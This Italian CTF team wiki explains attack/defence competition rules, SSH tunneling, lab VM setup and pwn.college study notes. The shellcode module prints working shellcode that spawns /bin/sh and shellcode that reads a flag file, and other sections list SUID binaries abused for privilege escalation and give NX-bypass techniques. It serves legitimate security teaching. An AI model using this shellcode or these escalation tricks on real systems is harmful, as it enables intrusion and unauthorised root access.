Subsections of Wiki Ulisse

Risorse

Questi sono i siti che comprendono sia materiale di apprendimento, che le varie sfide (super beginner friendly):

Questo sito contiene invece diverse minisfide, che parte dalle basi di bash, fino a crittografia e reverse engineering. Molto beginner friendly:

OSINT / Forensic / Network sec

OSINT + forensi + network sec + web https://ctfacademy.github.io/

Varie

Video educativi (guardarsi le playlist per argomento): https://www.youtube.com/c/LiveOverflow/playlists

Subsections of Risorse

Attack and Defense

Le gare Capture the Flag (CTF) sono divise principalmente in due tipi:

  • Jeopardy
  • Attack and defence

Introduzione

Le CTF attack and defence (da ora in poi A/D) sono una tipologia di competizione che mette a confronto squadre di giocatori che devono difendere i propri servizi da attacchi e attaccare i servizi delle altre squadre.

Questo tipo di competizione è molto simile a quella che si svolge durante DEFCON.

Alcune volte le challenge A/D sono simili a quelle Jeopardy, in quanto i servizi sono vulnerabili e i giocatori devono trovare le vulnerabilità e sfruttarle per rubare le flag. Altre volte però i servizi sono più particolari (o più complessi e formati da tante parti), le cui vulnerabilità sono:

  • note a tutti, quindi il gioco si basa sulla capacità di difendere il servizio e sulla capacità di attaccare gli altri servizi
  • in un contesto di “glue code” (ad es. un servizio che si connette ad un altro servizio) e quindi la vulnerabilità è data dalla configurazione del servizio
Esempio

Un servizio che si connette a un database con password predefinita è a rischio se il database è accessibile dall’esterno. Le password predefinite sono uguali per tutti, rendendo il sistema vulnerabile.

Inoltre, ogni tanto gli organizzatori si divertono a creare tecnologie nuove e mai viste prima, come ad esempio l’architettura cLEMENCy.

In 2017, the Legitimate Business Syndicate came up with their very own CPU architecture called cLEMENCy: a middle-endian with 9 bits bytes CPU. With its specifications released only 24h before the beginning of the CTF, it was designed with the explicit goals of both surprising the teams, and leveling the playing field by breaking all their tools.

Ruoli

L’arbitro

Il compito dell’arbitro è quello di controllare che i servizi vulnerabili siano online e funzionino.

Lo fa attraverso richieste ai servizi (HTTP, TCP, UDP, …) che hanno un esito positivo e depositano una flag nel servizio (in un DB, in un file di testo, …).

Ogni round viene fatto il controllo sulla funzionalità del servizio (SLA: Service Level Agreement).

Nei round successivi al primo l’arbitro può anche controllare (= controlla) che la flag del round precedente sia ancora disponibile.

Attenzione

La SLA è un termine MOLTIPLICATIVO nel calcolo del punteggio. Se un servizio non è funzionante per il 50% del tempo, il punteggio sarà dimezzato.

L’attaccante

Ha il compito di attaccare i servizi vulnerabili dei team avversari e recuperare le flag.

Le flag trovate devono essere inviate al gameserver, che le valida e restituisce una risposta (OK, DUP, INV, ERR, …).

Flag scadute

Le flag scadono dopo un certo numero di round. Se non vengono inviate al gameserver entro il tempo limite, non verranno più accettate.

Il difensore

Ha il compito di impedire agli attaccanti di rubare le flag.

Deve però garantire la funzionalità del servizio, altrimenti l’arbitro toglie punti SLA!

Può farlo per mezzo di patch, WAF, firewall, …

Regole di gioco

Il gioco si svolge in round di N secondi (di solito 60 o 120), durante i quali un l’arbitro

  • aggiunge nuove flag alla macchina vulnerabile
  • controlla l’integrità (SLA) dei servizi interagendo con essi e recuperando le flag attraverso accessi legittimi.

e durante i quali gli attaccanti

  • cercano di rubare le flag degli avversari
  • inviano le flag rubate al gameserver

Traffico

Il traffico di rete di solito passa attraverso un router centrale, il cosiddetto router di gioco.

Le macchine vulnerabili sono connesse al network di gioco.

Attenzione

Tutto il traffico che passa per il router di gioco è analizzato dagli organizzatori della gara per rilevare attacchi e violazioni del regolamento.

Non è consentito fare attacchi di tipo DoS, DDoS, scansione di rete che saturino la rete o attacchi che possano compromettere la sicurezza del router di gioco o di qualsiasi infrastruttura e servizio non facente parte del gioco.

IP masquerading

Per evitare che i team possano riconoscere gli IP degli avversari, il router di gioco fa masquerading degli IP.

Il grado di mascheramento può variare da gara a gara, ma di solito è molto alto. In alcuni casi il router di gioco fa IP masquerading per:

  • VM -> VM
  • Player -> VM
  • CheckSystem -> VM

SSH tunneling

Spesso è desiderabile esporre dei servizi che non siano direttamente accessibili dall’esterno. Per fare ciò è possibile utilizzare il tunneling SSH.

Il tunneling SSH permette di creare un tunnel sicuro tra due porte di due macchine in rete, in modo che il traffico tra le due macchine sia crittografato e autenticato.

Per maggiori informazioni, consulta la pagina dedicata al tunneling SSH.

Tool

I tool utilizzati dal nostro team sono quelli disponibili su GitHub.

Tool di difesa

Tool di attacco

SSH

Il protocollo SSH (Secure Shell) è un protocollo di rete che permette di stabilire una connessione sicura tra due macchine.

L’utilizzo più comune di SSH è quello di accedere in remoto alla shell di un’altra macchina, ma viene utilizzato senza che l’utente se ne accorga in molti altri contesti (rsync, git, …).

L’implementazione più comune di SSH è OpenSSH, che è disponibile di default su quasi tutte le distribuzioni Linux.

Connessione

Per connettersi ad una macchina remota via SSH è sufficiente utilizzare il comando ssh seguito dall’indirizzo IP o dal nome della macchina remota.

ssh user@remote

Dove:

  • user è l’utente con cui si vuole effettuare il login
  • remote è l’indirizzo IP o il nome della macchina remota

Se l’utente è lo stesso sia sulla macchina locale che sulla macchina remota, è possibile omettere l’utente.

ssh remote

Configurazione

E’ possibile configurare il comportamento di SSH tramite il file ~/.ssh/config. Normalmente questo file è utilizzato per definire opzioni e nomi di host.

Per esempio, al posto di eseguire

ssh -p 2222 -J user@jump -i ~/.ssh/id_rsa user@186.x.x.x

è possibile definire un host nel file ~/.ssh/config:

Host remote
    HostName 186.x.x.x
    User user
    Port 2222
    IdentityFile ~/.ssh/id_rsa
    ProxyJump user@jump

e poi connettersi con

ssh remote

SSH tunneling

Spesso è desiderabile esporre dei servizi che non siano direttamente accessibili dall’esterno.

Per fare ciò è possibile utilizzare il tunneling SSH.

Il tunneling SSH permette di creare un tunnel sicuro tra due porte di due macchine in rete, in modo che il traffico tra le due macchine sia crittografato e autenticato.

Local forwarding

ssh -L 8080:localhost:80 user@remote

Dove:

  • 8080 è la porta locale
  • localhost:80 è l’enpoint su cui è in ascolto il servizio remoto
  • user@remote è l’utente e l’indirizzo IP della macchina remota

Questo comando crea un tunnel SSH tra la porta 8080 della macchina locale e la porta 80 della macchina remota. Tutti i pacchetti che arrivano sulla porta 8080 della macchina locale vengono inoltrati sulla porta 80 della macchina remota.

Quando usarlo?

Per utilizzare in locale un servizio remoto che non è direttamente accessibile dall’esterno.

Esempio: un database che binda su localhost:3306

Remote forwarding

Attenzione

In questo modo si espone un servizio locale sulla macchina remota.

Assicurarsi che il servizio sia sicuro e che non possa essere sfruttato da terzi!

ssh -R 8080:localhost:80 user@remote

Dove:

  • 8080 è la porta remota
  • localhost:80 è l’enpoint su cui è in ascolto il servizio locale
  • user@remote è l’utente e l’indirizzo IP della macchina remota

Questo comando crea un tunnel SSH tra la porta 8080 della macchina remota e la porta 80 della macchina locale. Tutti i pacchetti che arrivano sulla porta 8080 della macchina remota vengono inoltrati sulla porta 80 della macchina locale.

Quando usarlo?

Per far si che dalla macchina remota si possa accedere ad un servizio avviato sulla macchina locale.

Ulteriori informazioni

Per maggiori informazioni, la fonte più affidabile è come sempre la pagina di manuale di ssh:

man ssh

Virtual Machine Setup

To participate in the labs, you will need a functioning virtualization environment. As the majority of people use Windows, we will use VirtualBox as our virtualization software (if you are using Linux, you should already know how to create a virtual machine).

VirtualBox is a free and open-source hosted hypervisor, developed by Oracle Corporation. VirtualBox allows you to run multiple operating systems on a single machine.

1. VirtualBox Installation

  1. Download the latest version of VirtualBox from the official website.
  2. Run the installer and follow the instructions.

You should then be able to open VirtualBox and get a screen similar to the one below:

2. Kali Linux Installation

We will use Kali Linux as our main operating system for the labs. You can download the latest version of Kali Linux from the official website.

  1. Go to the official website and click on the “Virtual Machines” button.
  2. Click on the “VirtualBox” button. The download should start automatically.
  3. Once the download is complete, extract the files to a folder of your choice.
  4. Double click on the .vbox file to open it in VirtualBox.

You should now have a Kali Linux virtual machine running in VirtualBox.

Troubleshooting

If you encounter any issues during the installation process, please refer to the official VirtualBox documentation.

If you are still having trouble, feel free to ask for help in the Telegram chat or directly during the meetings.

Web

Portale di training OliCyber

Il portale di training di OliCyber, gestito dal Cybersecurity National Lab., offre un’introduzione ai concetti di web security e agli attacchi più comuni (es. command injection, SQL injection):

PortSwigger Web Academy

Un sito utilissimo per imparare tutto il possibile di web security (nota bene: bisogna installare burp come tool, super utile, se no non si fa nulla, beginner friendly):

Corsi@Ulisse

Subsections of Corsi@Ulisse

pwncollege

Siti web

Moduli

Argomenti
Modulo 1Introduzione a UNIX, privilege escalation, challenge su suid
Modulo 2Linea di comando, file binari, caricamento ed esecuzione di software su Linux
Modulo 3Architettura dei calcolatori, assembly, funzionamento CPU, control flow, syscalls
Modulo 4Shellcode injection
Modulo 5Sandboxing, chroot, seccomp

Subsections of pwncollege

Mod 1: Program Misuse

Privilege escalation

bho, roba su suid :D !!!!SE QUALCUNO HA VOGLIA DI FARE GLI APPUNTI PER BENE FACCIA PURE!!!!

Materiale aggiuntivo

OBBLIGATORIO: nessuna persona sulla faccia della terra può identificarsi come sistemista UNIX senza aver visto questo video.

Per chiunque non conosca abbastanza bene l’ambiente UNIX, consiglio di partire capendo il funzionamento della shell, cosa come e quando manipola l’input.

(imho di fondamentale importanza è la seconda parte della lezione del 16/03/21, ma anche le altre su BASH non si buttano)

  • Cyberchef è un tool per manipolare facilmente dati offuscati. Imparatelo ad usare che torna utile in fretta.

  • Vim è utile. Lo troverete ovunque ed è in generale comodo per manipolare file di testo velocemente. Guardatevi questo talk che spiega il concetto fondamentale, ovvero come vim sia un linguaggio turing completo, e non un semplice editor di testo con una serie di scorciatoie come tutti gli altri.

Challenges

Opinioni generali

Imho queste challenge hanno poco senso, data una conoscenza abbastanza approfondita dei tool standard UNIX e della shell. Alcuni sono simpatici rompicapo, altri troppo facili per valerne la pena. Consiglio di farne un campione tra quelle che non sembrano ovvie, giusto per entrare nell’ottica giusta.

babysuid 1-9

Presente il bit SUID settato (con owner root) per i seguenti binari (che in un modo o nell’altro stampano su stdout il contenuto di un file) I binari utilizzati sono i seguenti:

  • cat
  • more
  • less
  • tail
  • head
  • sort
  • vim
  • emacs
  • nano

babysuid 10-16

Qui verrà stampata la flag in stdout da tool che ne modificano il formato, sempre usando il sed SUID su binari con owner root. La difficoltà aggiuntiva consiste nel ricavare il plaintext dai formati mostrari. I binari utilizzati sono i seguenti:

  • rev
  • od (stampa in ottali)
  • hd (hexdump)
  • xxd
  • base32
  • base64
  • split (da man: “split a file into pieces”)

babysuid 17-23

Stessa roba, a sto giro vengono utilizzati binari per creare/estrarre archivi. I binari utilizzati sono i seguenti:

  • gzip
  • bzip2
  • zip
  • tar
  • ar
  • cpio
  • genisoimage

babysuid 24-32

Qui inizi ad utilizzare binari (sempre con SUID root) non esplicitamente creati per leggere file. I binari utilizzati sono i seguenti:

  • env
  • find
  • make
  • nice
  • timeout
  • stdbuf
  • setarch
  • watch
  • socat

babysuid 33-36

Queste dicono di richiede un po’ di programmazione, si tratta sempre di tool standard unix che riescono a leggere file da disco. I binari utilizzati sono i seguenti:

  • whiptail
  • awk
  • sed
  • ed - THE STANDARD UNIX EDITOR

babysuid 37-40

Qui iniziamo ad utilizzare SUID per modificare i permessi del fs, invece di leggere direttamente la flag. I binari utilizzati sono i seguenti:

  • chown
  • chmod
  • cp
  • mv

babysuid 41-44

SUID su interpreti di lang general purpose. I binari utilizzati sono i seguenti:

  • perl
  • python
  • ruby
  • bash

babysuid 45-50

Queste riguardano binari non banalmente esploitabili per leggere il contenuto della flag. Richiedono un po’ di fantasia. I binari utilizzati sono i seguenti:

  • date
  • dmesg
  • wc
  • gcc
  • as (portable gnu assembler)
  • wget
  • ssh-keygen

Mod 2: Program Interaction

Appunti lezioni

Linux command line

TODO:

Binary Files

Executable and Linkable Format: definisce la forma che deve avere un binario per poter essere eseguito su linux. Bel blogpost

Un file ELF è divisibile in segmenti. questi definiscono dove le varie parti del binario verranno caricate in memoria.

Ortogonalmente alla divisione in segmenti, è possibile anche dividere il binario in sezioni, queste definiscono la semantica delle parti del binario. A noi interesseranno le seguenti sezioni:

  • .text: sezione eseguibile del binario
  • .plt, .got: sezione in cui verranno caricate le librerie dinamiche utilizzate dal binario
  • .data: variabili dichiarate a compile time
  • .rodata: costanti a compile time (tipo le stringhe)
  • .bss: variabili dichiarate a compile time ma non inizializzate

Per interagire con l’ELF, possiamo utilizzare i seguenti tools:

  • gcc to make your ELF.
  • readelf to parse the ELF header.
  • objdump to parse the ELF header and disassemble the source code.
  • nm to view your ELF’s symbols.
  • patchelf to change some ELF properties.
  • objcopy to swap out ELF sections.
  • strip to remove otherwise-helpful information (such as symbols).
  • kaitai struct to look through your ELF interactively.

Linux Process Loading

TODO:

Linux Process Execution

TODO:

Materiale aggiuntivo

pwntools: libreria molto utile per semplificare l’interazione con i processi a runtime. QUESTO VA IMPARATO BENE, leggere almeno una volta line by line il tutorial

Challenges

Opinioni generali

TODO: scrivere opinioni una volta finite le challenges

embryoio 1-28

flag gratis, ti chiede di fare cose su:

  • stdin/stdout
  • argomenti
  • variabili di ambiente
    • env -i per azzerare l’ambiente
    • dalla manpage di bash, sezione exec: The -c option causes command to be executed with an empty environment.
  • redirezione
  • lanciare script bash/python

embryoio 29-85,88-97,102-105,107,110,115-123

qui inizia a chiederti di generare nuovi processi (fork), gestire redirezione con pipe e fifo, argv, env e segnali inizi a dover scrivere qualche riga di C. Le challenge sono speculari in C, bash e python.

  • La chall 66 chiede di utilizzare find, questa è interessante (anche se molto facile)
  • La chall 73, 79, 85 chiede roba sulla CWD (working dir) tra padre e figlio: TODO: check
  • La chall 94 chiedere di avere come input il file descriptor 283. Questo e` facile da fare in bash (TODO: provare a rifarla in sh posix):
exec 283< tmp
/challenge/embryoio_level94 <&283

Questa soluzione funziona sono in bash, non is shell posix. La motivazione la troviamo qui:

Open files are represented by decimal numbers starting with zero. The largest possible value is implementation-defined; however, all implementations shall support at least 0 to 9, inclusive, for use by the application. These numbers are called “file descriptors”.

Quindi, il file descriptor 283 e` accettato dallo standard ma non implementato in diverse shell posix (tipo dash).

Ecco le informazioni utili per svolgere questi esecizi

  • un processo figlio eredita dal padre i file descriptor
    • i due processi condividono anche la posizione nel file (fseek). TODO: cercare docs su sta cosa
  • il figlio passa a zombie (aka orfani, con padre init) se il padre vero muore
  • i figli ereditano l’environment dal padre
  • ricorda che il programma per mandare un segnale ad un processo e` kill

embryoio 86,87,99,100,106,112,113,126-142

qui bisogna comunicare con il processo che sta girando. Per comunicare, ti chiede di utilizzare vari medodi, quali:

  • stdin/stdout
  • fifo
  • tcp
  • (forse altro) In pratica sono date dal sw di checking delle operazioni matematiche da completare, e lo scopo e` quello di risolverle programmaticamente. Un’altra sottocategoria, sempre simile, consiste nel dover programmaticamente mandare n segnali, scelti dinamicamente dalla challenge al processo figlio. Anche questi sono divisi tra bash , C e python, la soluzione per comunicare interattivamente e`:
  • bash: TODO: capire come si fa (maybe http://tiswww.case.edu/php/chet/bash/bashref.html#Coprocesses)
  • C: semplice ciclo consumer con pipe. man pipe contiene un esempio
  • python: pwntools e` fatto apposta

Mod 3: Assembly Crash Course

Appunti lezioni

Lezione 0: Computer Architecture

CPU composta da gate logici AND, OR, XOR e i corrispondenti negati -> prendono in input 0/1 e restituiscono un output che dipende dal tipo di gate usato. Combianando tali componenti si generano reti logiche più complesse come ADDER, MUX, ecc. La CPU è composta da registri (memoria), Control Unit (CU), Arithmetic Logic Unit (ALU).

Lezione 1: Assembly

Rappresentazione del codice binario dato in pasto alla CPU -> Assembly (primo layer di astrazione creato sopra il codice binario). L’ assembly è strettamente correlato all’architetettura in cui si lavora, quella presa in analisi è x86, con sintassi Intel perchè quella AT&T fa schifo.

Lezione 2: Data

I dati nei calcolatri sono rappresentati in binario(base2) (solo cifre (bit) 0/1), solitamente risulta semplice esprimere i numeri binari in basi fatte da potenze di 2, le più diffuse sono base 8 (ottale), base 16 (esadecimale). Il testo viene anch’esso codificato in binario, ASCII -> codifica a 7 bit; UTF-8 -> codifica a 8 bit (98% del web è codificato così) Ogni i bit vengono raggruppati nel seguente modo (storicamente):

  • Nibble: 1/2 byte,4 bits
  • Byte: 1byte, 8 bits
  • Half Word (word): 2 bytes, 16 bits
  • Double Word (dword): 4bytes, 32 bits
  • Quad Word (qword): 8 bytes, 64 bits

in realtà usiamo word per intendere anche la dimesione del bus dell’architettura (ie: 8 byte per amd64)

Per quanto riguarda i numeri nell’architettura a 64 bit ne possiamo esprimere 2^64. Se facciamo overflow (superiamo il valore massimo) il bit che avanza viene messo in carry bit e si riaprte a contare da 0. Per quanto riguarda la notazione dei numeri negativi si utilizza la notazione in complemento a 2 i numeri negativi hanno la stessa rappresentazione dei numeri positivi correlati, esempio: se il massimo numero è 256 e per interi unsigned abbviamo un range da 0-255 invece per i signed avremo -128-128, lo 0 viene rappresentato dal 256esimo numero, quindi se noi facciamo 0-1 il numero sarà 255 ma rappresenterà il -1.

Lezione 3: Registers

registri_amd64.png registri_amd64.png

La CPU salva i dati temporanei nei registri, nelle architetture moderne sono solitamente da 64 bit, e possiamo effettuarel’accesso anche parzialmente ai primi 16/32 bits, inoltre in alcuni casi si può accedere singolarmente anche ai primi due byte. “mov” è una delle istruzioni assembly per caricare i registri (esempio: mov rax, 0x539) possiamo caricarli sia con valori immediati, come l’esempio, sia con valori di altri registri. Registri speciali:

  • rip: indirizzo di memoria della prossima istruzione (non si può direttamente leggere o scrivere)
  • rsp: contiene l’indirizzo dello stack

Utilizzo registri più piccoli

Quando si utilizza la versione 32 bit del registro, il resto viene azzerato. Quando si utilizzano le sezioni più piccole del registo, invece, viene mantenuto il resto del registro invariato. EX:

        mov rdx, 0x1122334455667788
        mov edx, 0x99
        # Risultato: rdx contiene
        #        0x0000000000000099
        mov rdx, 0x1122334455667788
        mov dx, 0x99
        # Risultato: rdx contiene
        #        0x1122334455660099

I registri 8 bit si comportano come il secondo esempio

In caso di numeri con segno l’azzeramento causerebbe un problema, quindi si usa movxs (move sign-extending) che salva in complemento a due il numero all’interno del registro.

Lezione 4: Memory

Memoria RAM: indirizzata linearmente da 0x10000 (non inizia da 0 per motivi di sicurezza TODO: why?) a 0x7fffffffffffffff (rchitettura a 64 bit) ogni indirizzo di memoria è referenziato da un byte -> 127 TB di memoria massima (virtuale). Stack (lifo): i dati si carico sullo stack con il comando “push” (rsp viene decrementato di 8), con “pop” si rimuovono (rsp viene aumentato di 8).

Deprecato, in realtà molti compilatori il base pointer non lo usano proprio in amd64 Utilizziamo il base pointer (%rbp) come punto di riferimento per sapere dove trovare le variabili locali della funzione nello stack (spesso si fa, per esempio, [%rbp + 0x16]). Il base pointer verrà spostato tutte le volte che si entra/esce da una funzione.

NB la notazione dei byte è little endian: il bit meno significativo va a sinistra

Con l’struzione lea (load effective address) puà essere caricato il valore di un registro tramite il numero relativo esempio [rsp + 8]

Lezione 5: Control Flow

jumps

x86 ha una miriade assurda di metodi per saltare. I più interessanti sono (per il dudo che fa lezione): jmp: salto non condizionale je e tutti gli altri: salti condizionali, decidono se saltare o meno a seconda del contenuto di biut specifici in rflags (settati da comparison, overflow, zero, sign, ecc.) eb: salto corto, prende un byte e salta relativamente rispetto a rip TODO: check quando le flag in rflags vengono azzerate

looping

jump condizionale nella stessa zona di codice (non credo di dover spiegare sta roba)

function call

sono interessanti le istruzioni call: salva rip sullo stack e salta alla nuova istruzione ret: recupera rip dallo stack e ci salta “dentro”

È importante la calling convenction, ovvero il contratto tra chiamante e chiamato su chi fa pulizia dello stack e cosa deve essere dove. amd64 Sys-V I punti salienti sono:

  • registri scrath che si possono usare: %rax, %rcx, %rdx, %r8, %r9, %r10
  • lo stack deve essere sempre allineato a 16 bit
  • red zone: 128 byte dopo %rsp sono riservati per dati temporanei all’interno della funzione. È un ottimizzazione fatta per non dover spostare %rsp.
  • parameter passing:
    • per i dati di tipo INTEGER (check documento p. 17) vengono usati i registri %rdi, %rsi, %rdx, %rcx, %r8, %r9
    • per i dati di tipo MEMORY, X87 viene usato lo stack
    • per la roba SSE, SSEUP vengono usati i registri vettoriali
    • quanto i registri sono pieni, si usa lo stack in ordine right-to-left
    • smthing about varargs or stdargs, registro %al contiene l’upper bound del numero di parametri
  • ritorno:
    • se classe MEMORY, il chiamante riserva dello spazio e lo passa in %rdi (come se fosse il primo argomento). Al ritorno, la funzione setterà %rax = %rdi
    • se classe INTEGER, verranno usati %rax, %rdx
    • classe SSE, X87 non mi interessano

Lezione 6: System Calls

Le systemcall interagiscono con il sistema operativo; in assembly è necessario caricare il registro rax con la codifica della system call corrispondente e poi usare l’istruzione “syscall”, esempio:

mov rax, 0 #read
syscall

Per le system call che hanno come input le stringhe è necessario caricare i caratteri sullo stack (puntato da rsp). TODO: sta parte è un po’ mhe, sinceramente non credo sia necessario utilizzare lo stack per forza.

Per quanto riguarda la syscall exit() bisogna inserire il codice di ritorno in rdi e poi chiamarla con il valore 60 in rax:

 mov rdi, 42 #return code
 mov rax, 60
 syscall

Lezione 8: Building Programs

Una volta scritto un sorgente in assembly è necessario assemblarlo in un binario con il comando gcc -nostdlib -o binario sorgente. -nostdlib sta a specificare che il programma non è scritto in C. Per leggere un binario: objdump -M intel -d binario (da l’output in binario (little endian) e accanto l’assembly corrispondente. Per debuggare l’assembly usa l’istruzione int3 Programmi utili:

  • strace: fa vedere tutte le system call utilizzate dal binario
  • gdb: debugger
  • rappel fa esplorare gli effetti delle istruzioni (???repl per asm???)

Altre risorse

https://www.amd.com/system/files/TechDocs/24592.pdf https://www.felixcloutier.com/x86/index.html

Load Effective Address (lea)

TODO: tbh non ho ancora capito bene che succede:

        ...
        lea rsi, [rip+.hello]
        ...
        .hello:
        .string "hello word"

Challenges

embryoasm 1

Questa challenge è la flag gratis. Ti chiede di spostare un valore in un registro, quindi istruzione mov. L’utilità sta nel farti capire il contesto, noi procederemo così:

  • pwntools per comunicare con la challenge
  • la challenge si aspetta codice binario in stdin
  • pwntools gestisce quindi anche la parte di assembly

pwntools va saputo usare, rimando al Mod2 per risorse in merito

embryoasm 2-9

  • semplici operazioni tra registri
  • divisione intera (qui c’è weird stuff happening)
  • utilizzare la parte bassa dei registri
  • utilizzare op logiche

embryoasm 10-13

  • utilizzare la memoria come puntatori (dereferenziare)
  • roba sul little endian

embryoasm 14-16

  • introdotto lo stack

embryoasm 17-23

  • introdotti i salti
  • questo ti permette di avere i cicli
  • le funzioni le considero un tipo speciale di salto tbh (amo troppo risc)

17

Qui theres a bit of a tricky situation: chiede di fare un salto relativo di 0x51 byte in avanti la soluzione è la seguente:

        jmp .jumpstart+0x51
        .jumpstart:

Questo produce infatti il bytecode: eb51, ovvero salto corto di 0x51 byte

Ecco le altre soluzioni possibili, e perchè sono sbagliate

       jmp .+0x51

Questa soluzione ha logicamente senso: . significa “posizione attuale” per l’assembler. Non funziona, perchè viene assemblato in eb4f, dato che l’istruzione è composta da 2 byte. Infatti, jmp .+0x53 funziona.

Altra cosa interessante: I jmp con valore immediato sono sempre relativi (non ho proprio una gran fonte ma mi fido). Per fare un salto assoluto con un valore immediato, le soluzioni sono mandarlo sullo stack:

push 0xdeadbeef
ret

oppure usare un registro temporaneo

mov rax, 0xdeadbeef
jmp rax

18

Qui senza dire niente a nessuno la challenge voleva il risultato in 32 bit

...
                    correct = (
                        self.init_values[0] + self.init_values[1] + self.init_values[2]
                    ) & 0xFFFFFFFF
...
                assert self.rax == correct
        except AssertionError:
            return False
        return True

Soluzione quite ez a quel punto, ecco il codice (lo metto qui perchè utilizzo qualche istruzione che può tornare utile in futuro):

  movsx rax, dword ptr [rdi]

  movsx rbx, dword ptr [rdi+4]
 movsx rcx, dword ptr [rdi+8]
 movsx rdx, dword ptr [rdi+12]
 int3

 cmp rax, 0x7f454c46
 je .yolo1
 cmp rax, 0x00005a4d
 je .yolo2
 jmp .yolo3

...

 .yolo3:
# qui bisogna stare attenti, imul sovrascrive rdx
 mov rax, rdx
 imul rbx
 imul rcx
 jmp .end

 .end:
 and eax, 0xFFFFFFFF
 int3
 nop

19

Guardando la documentazione, non esistono salti assoluti condizionali. È quindi necessario passare ad un trampolino e poi saltare dove vogliamo.

0x400000:    cmp       rdi, 3
0x400004:    jle       0x400009
0x400006:    jmp       qword ptr [rsi + 0x20]
0x400009:    jmp       qword ptr [rsi + rdi*8]

20, 21

straightforward, ricorda che esiste l’istruzione loop che in 2 byte fa un for

22, 23

si inizia a creare funzioni, quindi calling convention e tutto

Mod 4: Shellcode Injection

Appunti lezioni

Intro

Come abbiamo visto negli scorsi moduli i processori moderni seguono l’architettura Von Neumann. L’architettura Harvard separa la memoria eseguibile dalla memoria in lettura/scrittura (TODO: cercare perchè/cenni storici). Perchè facciamo notare questa differenza? Perchè in un arch Von Neumann è possibile fare shellcode injection, ovvero redirezionare l’esecuzione di un processo in modo arbitrario, inserendo come input al programma le istruzioni binarie da eseguire.

Come si arriva a poter usare una shellcode injection

Si tratta quasi sempre di bug introdotti dal programmatore (esempio fatto a lezione, trattare un buffer di char al posto di un puntatore di funzione. Vabbè sto esempio fa un po’ schifo, visto che il sistema di tipi dovrebbe mettersi in mezzo a compile time).

Shellcode?

Un pezzo di software, in codice macchina, che fai eseguire al processo che stai attaccando. Chiamato “shell"code perchè normalmente lo scopo è avere una shell sulla macchina compromessa. Lo shellcode per avere una shell su amd64 linux è il seguente:

mov rax, 59             # this is the syscall number of execve
lea rdi, [rip+binsh]    # points the first argument of execve at the /bin/sh string below
mov rsi, 0              # this makes the second argument, argv, NULL
mov rdx, 0              # this makes the third argument, envp, NULL
syscall                 # this triggers the system call
binsh:                  # a label marking where the /bin/sh string is
.string "/bin/sh"

Ovviamente, può essere usato per fare qualsiasi cosa, non solo aprire shell.

Fast prototyping

  • Compilare shellcode in ELF:
.global _start
_start:
.intel_syntax noprefix
<inserire shellcode>

$ gcc -N -nostdlib -static shellcode.s -o shellcode-elf
  • va poi estratta la parte interessante per usarlo nell’exploit (aka .text)
  • Creare un programma C che prende shellcode in input, per simulare la situazione trovata nel processo da esploitare
page = mmap(0x1337000, 0x1000, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_ANON, 0, 0);
read(0, page, 0x1000);
((void(*)())page)();
  • ovviamente puoi sempre usare strace e i debugger
    • si può assemblare lasciando i simboli di debug (non ci sono ripercussioni su .text)
    • spesso è utile inserire int3 direttamente nel shellcode
  • qemu per archittetture diverse da amd64

Problemi tipicamente riscontrati

  • Bisogna stare attenti alle dimensioni dei dati spostati. Gli assembler ti permettono di specificarlo se necessario.
  • Spesso ti ritrovi a non poter usare alcuni byte, a seconda del mezzo con cui comunichi con il process (ie \n). Ecco alcune possibili soluzioni:
    • riscrivere lo shellcode in per fargli avere la stessa semantica ie: mov rax, 10 (48c7c00a000000) si può riscrivere come mov rax, 9; inc rax (48C7C00900000048FFC0)
      • ci sono tool automatici, ma ogni tanto si rompono e diventa difficile capire cosa stia succedendo (il dudo sconsiglia di usarli)
    • salvare il codice (con i byte vietati modificati) come data, ripristinare i byte necessari e poi eseguirlo
    • fare uno shellcode multi-stage, dove il primo stage esegue semplicemente una read verso [rip], e il resto dello shellcode viene iniettato dopo
  • shellcode può essere modificato in modo strano prima di essere eseguito, qui la soluzione deve essere ad-hoc

Protezione: No-eXecute

Il sistema operativo riesce a mitigare quasi tutti i casi in cui lo shellcode ci permette di exploitare roba. In pratica le pagine il kernel decide quali pagine di memoria hanno i permessi di essere eseguiti, e normalmente non assegna permessi di scrittura e esecuzione alla stessa pagina. Per poter eseguire lo shellcode, le soluzioni possono essere le seguenti:

  • usare altri metodi per usare la syscall mprotect e rendere eseguibile la pagina scrivibile
  • accedere ad una pagina che ha già i permessi wx, queste si trovano tipicamente nello spazio di memoria dei compilatori JIT, dato che hanno bisogno di compilare ed eseguire on the fly
    • JIT spraying (non ho ben capito cosa sia, ma non credo sia nello scope di pwncollege)
  • molti sistemi embedded non implementano NX

Approfondimento sull’implementazione di NX

Il sistema è gestito a livello di pagine di memoria Niente, in realtà non ho capito Forse mi aiuta capire come funziona pae

Altre risorse

Challenges

1

        mov rax, 2
        lea rcx, [rip+.after_open]
        lea rdi, [rip+.flag_filename]
        xor rsi, rsi
        syscall
        .after_open:

        mov rdi, rax

        mov rax, 0
        lea rcx, [rip+.after_read]
        lea rsi, [rip+.buffer]
        mov rdx, 0x99
        syscall
        .after_read:

        mov rax, 1
        lea rcx, [rip+.after_write]
        mov rdi, 1
        lea rsi, [rip+.buffer]
        mov rdx, 0x99
        syscall
        .after_write:

        ret

        .flag_filename:
        .string "/flag"
        .buffer:
        .space 0x100

2

Uso space (visto prima) per inizializzare 0x90 (nop) per 0x800 byte

3

Ez, basta lavorare un po’ con gli indirizzi e fare sottrazioni dove serve

4

        .macro .my_deref reg, lowreg, label
        call .push_rip
        pop \reg
        add \lowreg, \label - . + 1
        .endm

che chiama

        .push_rip:
        pop r11
        push r11
        push r11
        ret

Mod 5: Sandboxing

Appunti lezioni

Introduction

Qui spiega le motivazioni storiche per la creazione di sandbox, e la loro evoluzione nei decenni:

  • ~1960 Prime cpu girava tutto in real mode
  • ~1980 Viene introdotto, in hardware, supporto per memoria virtuale, diversi ring di autorizzazione per separare la roba user-space da kernel-space, protezione della memoria (prima con la segmentazione e poi con il paging) e altre cose belle
  • ~1990 separazione “in-process”, quindi tra interprete e codice interpretato (TODO: cerca more resources su sta roba)
  • ~2000 con l’espansione del www, i browser diventano sempre più complessi (e vengono creati sistemi per la distribuzione di applicativi via web, tipo Flash). Con la complessità aumenta la superficie di attacco e la gravità di una possibile compromissione
  • ~2010 Gli engine JS diventano mostri enormi con performance di cristo, viene rilasciato HTML5 e muoiono gli applicativi custom su web. Questo non fa altro che spostare il problema, quindi vengono introdotti layer di separazione tra il processo non privilegiato che esegue il codice web e il processo padre che funge da “sistema operativo”, in some way (TODO: anche qui la cosa mi è un po’ fumosa, check better)

